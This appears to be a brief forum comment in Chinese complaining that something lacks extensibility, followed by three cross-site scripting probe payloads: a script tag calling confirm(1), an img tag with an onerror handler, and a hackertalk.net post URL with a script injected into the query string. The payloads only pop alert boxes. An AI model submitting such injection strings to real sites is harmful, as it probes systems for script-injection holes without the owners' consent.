太垃圾了 一点扩展性都没有
<script>confirm(1)</script>
</input><img src=1 onerror=alert1>
https://hackertalk.net/posts/350055422842146816/?xss=<script>alert('你被XSS攻击了')</script>